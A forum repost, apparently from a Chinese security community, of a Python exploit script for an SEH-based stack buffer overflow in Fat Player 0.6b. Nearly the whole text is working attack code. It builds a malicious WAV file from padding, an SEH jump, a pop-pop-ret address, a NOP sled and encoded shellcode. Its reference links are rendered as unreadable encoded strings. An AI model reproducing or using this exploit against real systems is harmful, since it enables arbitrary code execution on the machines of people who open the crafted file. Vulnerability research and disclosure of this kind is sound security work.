[转帖]Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区

[转帖]Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)

发表于: 2010-8-11 12:12 3487

[转帖]Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)

freebsdlin 活跃值

2010-8-11 12:12

3487

#    Stack-based buffer overflow in Fat Player 0.6b allows remote attackers to execute

# arbitrary code via a long string in a .wav file. NOTE: some of these details are

# obtained from third party information.

#

# Reference:

#    93fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6W2j5W2)9J5k6h3&6$3k6q4)9J5k6h3&6A6M7%4c8Q4x3X3g2Y4L8%4k6Q4x3V1k6$3K9h3g2%4i4K6u0r3N6Y4g2D9L8W2)9J5c8X3c8W2N6r3q4A6L8q4)9K6c8Y4k6#2L8r3&6u0k6q4)9K6c8p5y4h3c8g2)9J5k6o6t1H3x3o6W2Q4x3X3b7@1z5e0j5J5i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.

#    5f9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2X3L8%4u0U0k6g2)9J5k6h3W2K6M7#2)9J5k6h3&6W2N6q4)9J5c8Y4S2X3L8%4u0U0k6g2)9J5c8Y4S2X3k6r3u0Q4x3V1j5#2x3U0M7I4x3#2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7

# 8e3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4G2N6i4u0U0k6h3k6G2M7X3N6W2i4K6u0W2L8X3g2@1i4K6u0r3M7s2u0G2K9X3g2U0N6s2y4Q4x3V1k6X3j5i4c8H3L8r3q4&6k6i4u0Q4x3V1k6Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.

# 4ffK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2^5M7r3I4G2K9i4c8Q4x3X3c8V1j5W2)9J5k6h3y4G2L8g2)9J5c8X3g2^5M7r3I4G2K9i4c8K6i4K6u0r3z5e0b7&6y4g2)9J5c8W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7

#

# Tested on: Windows XP SP3, FatPlayer 0.6b

print "\nFat Player 0.6b WAV File Processing Buffer Overflow (SEH)" 

   

buff1 = "D" * 4132 

   

nseh = "\xeb\x06\x90\x90" 

seh_ppr = "\x39\x1f\xd1\x72" 

#0x72D11F39      pop edi - pop - retbis msacm32.drv  

   

noop = "\x90" * 10 

code2exec = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")  

   

buff2 = "Z" * (40000 - len(buff1) - len(nseh) - len(seh_ppr) - len(noop) - len(code2exec))  

mal_buff = buff1 + nseh + seh_ppr + noop + code2exec + buff2  

   

try:  

    fatpwav = open ("fatplayerboseh.wav","w")  

    fatpwav.write(mal_buff)  

    fatpwav.close()  

    print "\nMalicious WAV File Created . . . !!" 

    print "[+] Coded by Praveen Darshanam" 

except:  

    print "\nUnable to Create File\n"

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